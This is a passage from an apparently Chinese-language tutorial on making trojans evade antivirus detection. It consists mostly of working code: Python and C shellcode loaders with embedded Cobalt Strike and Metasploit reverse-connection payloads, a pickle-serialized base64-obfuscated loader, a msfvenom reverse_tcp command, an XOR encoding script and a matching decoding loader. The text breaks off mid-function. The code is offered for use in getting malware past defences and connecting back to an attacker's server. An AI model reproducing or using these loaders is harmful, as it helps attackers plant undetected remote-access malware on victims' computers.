最近學了點木馬免殺,其實總結起來一共有三個層面,程式碼面,檔案面,邏輯面。
程式碼層面可以通過shellcode編碼混淆,編輯執行器,分離載入器等方法進行免殺
檔案面可以通過特徵碼定位,加殼花指令等方式
邏輯面可以通過一些反vt虛擬機器器的方法進行免殺
下面先介紹一些語言的shellcode載入方式和一些免殺方法,有些可能不是很全,主要為大家提供一些思路
後面不足再補充
ctypes是 Python的外部函數庫。它提供了與 C 相容的資料型別,並允許呼叫 DLL 或共用庫中的函數。
動態連結庫是微軟公司在微軟Windows作業系統中,實現共用函數庫概念的一種方式。其字尾名多為.dll, dll檔案中包含一個或多個已被編譯、連結並與使用它們的程序分開儲存的函數。我們經常在程式安裝目錄下看到它們。
python載入shellcode可以使用該程式碼來載入:
import ctypes
#
#cs載入
#shellcode=b'\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x79\x49\x53\x47\x00\x92\x55\x4a\xe7\x6f\x4e\x93\x97\xf6\xdb\x8a\xc2\x8c\x89\xfe\x25\x7d\x9f\x6c\x95\x75\x15\xaf\x9f\x9c\x1b\x9b\x2b\x0b\x54\xf8\x7c\xb5\xba\xe6\x4b\x3f\x0c\x33\xb3\xf3\x62\x1a\x7c\xe0\x4e\xc0\x97\x25\x6c\x67\x67\xaf\x8c\xa1\x88\xd1\xd0\xc6\x98\x63\x6d\x13\x81\xf2\x97\x88\xed\x56\x3f\xd5\x5b\x5d\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x38\x3b\x20\x4d\x41\x41\x55\x3b\x20\x4e\x50\x30\x38\x29\x0d\x0a\x00\x6d\xdf\xa6\xd0\x31\xf7\x38\x53\xf5\x98\x6e\x4c\x89\x71\x8f\xb4\x2c\x39\xfd\x57\x06\xbd\xf9\x47\xd9\x15\xc5\x92\x4a\x7e\x0e\xa1\x26\xc4\xc9\x70\xdd\x98\xec\xdb\xc6\x95\x4a\x6e\xcb\x43\x8c\x4e\xb6\x17\xd2\xe7\x31\x46\xe0\x93\x09\x39\xfc\xe7\xb1\xf4\xa8\xf0\xf1\x70\x0b\x0b\x71\xe2\x9f\x1d\x5a\x2f\x57\xe1\x5e\xdf\x39\xd9\x56\x5a\x06\x9e\x3c\x64\xb7\x08\xed\xf6\x9e\x25\x72\x6c\xee\x92\x06\x75\xef\xfc\x12\xb7\xe5\xa5\xe9\xe8\x50\x7a\xb1\xe5\x27\xf9\x73\xc2\x13\x66\x6c\x3e\xa0\x8a\x9c\x8a\x51\xca\xf4\x35\xb8\x6f\xb0\xfc\xc9\x7f\xc7\x57\x6f\xc1\xcf\x2b\x39\xf2\x8d\x5b\xcd\xa6\x14\x85\xa2\xc0\x3c\x6c\x5d\xfc\x55\xfa\xaa\xf7\x05\xac\x48\x76\x9c\xba\x51\x14\xed\x7c\x72\x01\x81\x6b\xca\x13\x5e\x55\x09\x90\x07\x7b\xf2\x27\xc0\x4c\x2f\x58\x43\x3c\x07\x83\xf8\xe5\x5c\x1a\xb6\x68\x93\xe4\x51\xfc\x51\x68\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x34\x37\x2e\x39\x34\x2e\x32\x33\x36\x2e\x31\x31\x37\x00\x00\x01\x86\xa0'
#msf載入
# shellcode = b""
# shellcode += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
# shellcode += b"\x52\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31"
# shellcode += b"\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
# shellcode += b"\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b"
# shellcode += b"\x42\x3c\x57\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01"
# shellcode += b"\xd0\x50\x8b\x58\x20\x8b\x48\x18\x01\xd3\x85\xc9\x74"
# shellcode += b"\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1"
# shellcode += b"\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d"
# shellcode += b"\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b"
# shellcode += b"\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
# shellcode += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
# shellcode += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
# shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
# shellcode += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
# shellcode += b"\x6b\x00\xff\xd5\x6a\x0a\x68\x2f\x5e\xec\x75\x68\x02"
# shellcode += b"\x00\x1a\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
# shellcode += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
# shellcode += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08"
# shellcode += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57"
# shellcode += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b"
# shellcode += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
# shellcode += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
# shellcode += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
# shellcode += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
# shellcode += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
# shellcode += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01"
# shellcode += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
# shellcode += b"\x53\xff\xd5"
# print(shellcode)
shellcode=b'\xfc\xe8\x8f\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x0f\xb7J&1\xff\x8br(1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7Iu\xefR\x8bR\x10\x8bB<W\x01\xd0\x8b@x\x85\xc0tL\x01\xd0P\x8bX \x8bH\x18\x01\xd3\x85\xc9t<1\xffI\x8b4\x8b\x01\xd61\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe0X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xe9\x80\xff\xff\xff]h32\x00\x00hws2_ThLw&\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00)\xc4TPh)\x80k\x00\xff\xd5j\nh/^\xecuh\x02\x00\x1a \x89\xe6PPPP@P@Ph\xea\x0f\xdf\xe0\xff\xd5\x97j\x10VWh\x99\xa5ta\xff\xd5\x85\xc0t\n\xffN\x08u\xec\xe8g\x00\x00\x00j\x00j\x04VWh\x02\xd9\xc8_\xff\xd5\x83\xf8\x00~6\x8b6j@h\x00\x10\x00\x00Vj\x00hX\xa4S\xe5\xff\xd5\x93Sj\x00VSWh\x02\xd9\xc8_\xff\xd5\x83\xf8\x00}(Xh\x00@\x00\x00j\x00Ph\x0b/\x0f0\xff\xd5WhunMa\xff\xd5^^\xff\x0c$\x0f\x85p\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3)\xc6u\xc1\xc3\xbb\xf0\xb5\xa2Vj\x00S\xff\xd5'
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
將cs或msf生成的shellcode賦給shellcode變數,執行指令碼即可
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=6688 -f c
選擇c檔案即可生成payload.c到本地
上面為常規的shellcode載入方式,免殺效果很差,接下來我們對程式碼做一些文章
先看下面的程式碼
import pickle
import base64
shellcode = '''
import ctypes,base64
encode_shellcode=b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//VMf9XV1dXV2g6Vnmn/9XphAAAAFsxyVFRagNRUWiRHwAAU1BoV4mfxv/V63BbMdJSaAACQIRSUlJTUlBo61UuO//VicaDw1Ax/1dXav9TVmgtBhh7/9WFwA+EwwEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S3Mf/pkQEAAOnJAQAA6Iv///8vcUtqNgDnDUKQzbFJgn1MGnuswXkME+13hj1sZUf8l1pRtYbdau51eAnl14hrL5p1J6o++qDd3PG2CWgAgM1RfWNjgpkmVb0kuf4DZeo9AFVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDEwLjA7IFdpbmRvd3MgTlQgNi4yOyBUcmlkZW50LzYuMCkNCgCtcNmom+m0PlEQJIjE3erfPr68ECmWtnltx/qkbjpqb4fcrBNkbJgObjIHSLLd1wYkTJ3S3Ui/BzEaJC6pcth1G9p5e0dHCjc8yxs6YclVQOnvA4HXor97EzCHyjQTZcaPwlLtMQL7tUYQhCrnVPr8SpZU0w0JsbUCvSqWZ12qW/5x66wctc31Hw9954rt7ywul27znqTMMbMvI34GnwwMuKE4+eFtfWxq7KZCR4MWFo2P64pmkZzC00lpI4Qvl0VJDtglGGWuzkA20Z0ACyQ/p41NoSgTDCseexLyGETo4gBo8LWiVv/VakBoABAAAGgAAEAAV2hYpFPl/9WTuQAAAAAB2VFTiedXaAAgAABTVmgSloni/9WFwHTGiwcBw4XAdeVYw+ip/f//MTkyLjE2OC4zLjEzMQASNFZ4'
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'''
class A(object):
def __reduce__(self):
return (exec, (shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
pickle模組可以把 Python 物件直接儲存到檔案裡,說白了就是進行序列化的操作
reduce 為魔術方法,在反序列化的時候呼叫,而他會返回一個exec執行的shellcode
shellcode變數裡其實就是我們上文中的載入程式碼(變數裡用msf或cs生成的shellcode用了base64編碼)
我們執行該程式碼即可得到序列化之後的shellcode載入程式碼
在進行上線時使用下面程式碼
import base64,pickle,ctypes
shellcode=b'gASV0QUAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFiyBQAACmltcG9ydCBjdHlwZXMsYmFzZTY0CmVuY29kZV9zaGVsbGNvZGU9YicvT2lKQUFBQVlJbmxNZEpraTFJd2kxSU1pMUlVaTNJb0Q3ZEtKakgvTWNDc1BHRjhBaXdnd2M4TkFjZmk4RkpYaTFJUWkwSThBZENMUUhpRndIUktBZEJRaTBnWWkxZ2dBZFBqUEVtTE5Jc0IxakgvTWNDc3djOE5BY2M0NEhYMEEzMzRPMzBrZGVKWWkxZ2tBZE5taXd4TGkxZ2NBZE9MQklzQjBJbEVKQ1JiVzJGWldsSC80RmhmV29zUzY0WmRhRzVsZEFCb2QybHVhVlJvVEhjbUIvL1ZNZjlYVjFkWFYyZzZWbm1uLzlYcGhBQUFBRnN4eVZGUmFnTlJVV2lSSHdBQVUxQm9WNG1meHYvVjYzQmJNZEpTYUFBQ1FJUlNVbEpUVWxCbzYxVXVPLy9WaWNhRHcxQXgvMWRYYXY5VFZtZ3RCaGg3LzlXRndBK0V3d0VBQURIL2hmWjBCSW41Nndsb3FzWGlYZi9WaWNGb1JTRmVNZi9WTWY5WGFnZFJWbEJvdDFmZ0MvL1Z2d0F2QUFBNXgzUzNNZi9wa1FFQUFPbkpBUUFBNkl2Ly8vOHZjVXRxTmdEbkRVS1F6YkZKZ24xTUdudXN3WGtNRSsxM2hqMXNaVWY4bDFwUnRZYmRhdTUxZUFubDE0aHJMNXAxSjZvKytxRGQzUEcyQ1dnQWdNMVJmV05qZ3BrbVZiMGt1ZjREWmVvOUFGVnpaWEl0UVdkbGJuUTZJRTF2ZW1sc2JHRXZOUzR3SUNoamIyMXdZWFJwWW14bE95Qk5VMGxGSURFd0xqQTdJRmRwYm1SdmQzTWdUbFFnTmk0eU95QlVjbWxrWlc1MEx6WXVNQ2tOQ2dDdGNObW9tK20wUGxFUUpJakUzZXJmUHI2OEVDbVd0bmx0eC9xa2JqcHFiNGZjckJOa2JKZ09iaklIU0xMZDF3WWtUSjNTM1VpL0J6RWFKQzZwY3RoMUc5cDVlMGRIQ2pjOHl4czZZY2xWUU9udkE0SFhvcjk3RXpDSHlqUVRaY2FQd2xMdE1RTDd0VVlRaENyblZQcjhTcFpVMHcwSnNiVUN2U3FXWjEycVcvNXg2NndjdGMzMUh3OTk1NHJ0N3l3dWwyN3pucVRNTWJNdkkzNEdud3dNdUtFNCtlRnRmV3hxN0taQ1I0TVdGbzJQNjRwbWtaekMwMGxwSTRRdmwwVkpEdGdsR0dXdXprQTIwWjBBQ3lRL3A0MU5vU2dURENzZWV4THlHRVRvNGdCbzhMV2lWdi9WYWtCb0FCQUFBR2dBQUVBQVYyaFlwRlBsLzlXVHVRQUFBQUFCMlZGVGllZFhhQUFnQUFCVFZtZ1Nsb25pLzlXRndIVEdpd2NCdzRYQWRlVll3K2lwL2YvL01Ua3lMakUyT0M0ekxqRXpNUUFTTkZaNCcKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShlbmNvZGVfc2hlbGxjb2RlKQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEplIWUUpQu'
pickle.loads(base64.b64decode(shellcode))
shellcode後寫上上訴生成的序列化程式碼
pickle.loads為反序列化操作
執行該程式碼即可上線
首先cs生成shellcode
使用下面的程式碼
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制檯程式不出黑視窗
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x01\xd3\x50"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x2f\x5e\xec\x75\x68\x02"
"\x00\x1a\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
//((void(WINAPI*)(void))&buf)();
//char* Memory;
//Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//memcpy(Memory, buf, sizeof(buf));
//((void(*)())Memory)();
//__asm {
//lea eax,buf
//call eax
//}
//__asm{
//mov eax, offset shellcode
//_emit 0xFF
//_emit 0xE0
//}
}
在mian函數中有四個註釋塊,分別代表四個不同的載入形式,隨便用一個即可
使用vs 2019開啟選擇生成解決方案即可生成exe檔案
執行exe即可上線
先試用cs生成一個bin檔案,選擇raw輸出格式
使用xor互斥或加密指令碼
python xor.py -s payload.bin -d payload.c -n 10 -r out.binimport sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break
base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))
def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected]')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
if __name__ == "__main__":
main()
將生成的payload.bin放置同一目錄
使用python xor.py -s payload.bin -d payload.c -n 10 -r out.bin
即可生成加密後的payload.c
再使用解密指令碼
#include <Windows.h>
// 入口函數
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; // shellcode長度
DWORD dwThreadId; // 執行緒ID
HANDLE hThread; // 執行緒控制程式碼
/* length: 800 bytes */
unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9b\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x4a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x6b\x3f\x7e\x58\x0a\xff\x67\x01\xee\xb8\x23\xd9\xbf\xf0\x67\xc9\xb9\x7a\xda\x50\x76\x21\x30\x82\x70\x3a\x53\xd3\x0c\xda\x43\xf8\x1a\xa5\x2f\x8f\xf4\x30\x15\x71\x7f\xf6\xa0\x30\xfc\x40\x0d\xe2\x16\x5d\x31\x49\x90\x17\xe9\x40\x37\x22\x72\x29\x67\xe4\x27\x5b\x1c\xa4\xc8\x0b\x2c\x3b\x0f\x22\x88\xd1\x82\x60\x8a\x94\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3e\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x3d\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3f\x24\x3b\x31\x2a\x24\x44\x4f\x5e\x2a\x49\x46\x58\x2a\x38\x24\x3a\x24\x3f\x3a\x3d\x38\x3d\x31\x2a\x43\x64\x6c\x65\x5a\x6b\x7e\x62\x24\x38\x23\x07\x00\x0a\xaa\x0a\x95\x44\x8f\x94\x5e\x80\xa4\x48\x25\x5f\xb4\x35\x4a\x12\x78\x1e\x82\x9f\x27\x52\xd9\x9e\xbd\x0c\x7a\x10\xb2\xa5\x0d\x71\x23\xda\xc4\xb2\x69\xf4\xc2\x57\xa4\xad\x1c\x61\x6a\x35\xa7\xc4\x8d\x81\x5a\x05\x77\x65\xd8\xd8\x41\x23\x6a\xa0\xae\x6a\xfb\x0c\xbd\xb4\x54\xcd\xcc\x7b\xeb\x91\xed\xcc\xef\xd8\xc6\x27\x1f\xfb\xcd\xcf\x21\xc8\x12\x79\x3e\x86\x17\x26\x1d\x4d\x4e\x61\xf8\x6b\xb8\x93\x95\x9c\xba\x5a\xc4\xe4\x9f\xb6\x5b\x66\x85\x35\xa1\x6f\xf9\xa8\x5c\x3f\x3c\xe1\x76\x0a\xfe\xf7\x1f\xfb\xbb\xf3\x8d\xbd\x61\x5b\x07\xa2\x19\x39\x3e\x4f\x7a\x7a\x71\xfe\xe3\x81\x64\xef\xe1\x5d\x1d\x11\xe9\x83\x91\x57\x23\xc2\xb5\x28\x6c\xc9\xe2\x76\xd0\xfb\x52\x7f\x5e\xfc\x6f\x2e\x10\x79\x4f\x36\x04\x30\xa4\x93\x0a\x57\x98\xe0\x60\xd1\x6f\x98\x0a\x10\x94\x75\x3d\xb2\x8c\x63\xc2\x16\x50\x9f\x6f\x31\x61\xff\x37\xe5\xc1\x7d\x32\x4b\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x39\x24\x3b\x39\x3b\x0a\x18\x3e\x5c\x72";
// 獲取shellcode大小
shellcode_size = sizeof(buf);
/* 增加互斥或程式碼 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 記憶體頁狀態
PAGE_EXECUTE_READWRITE // 可讀可寫可執行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
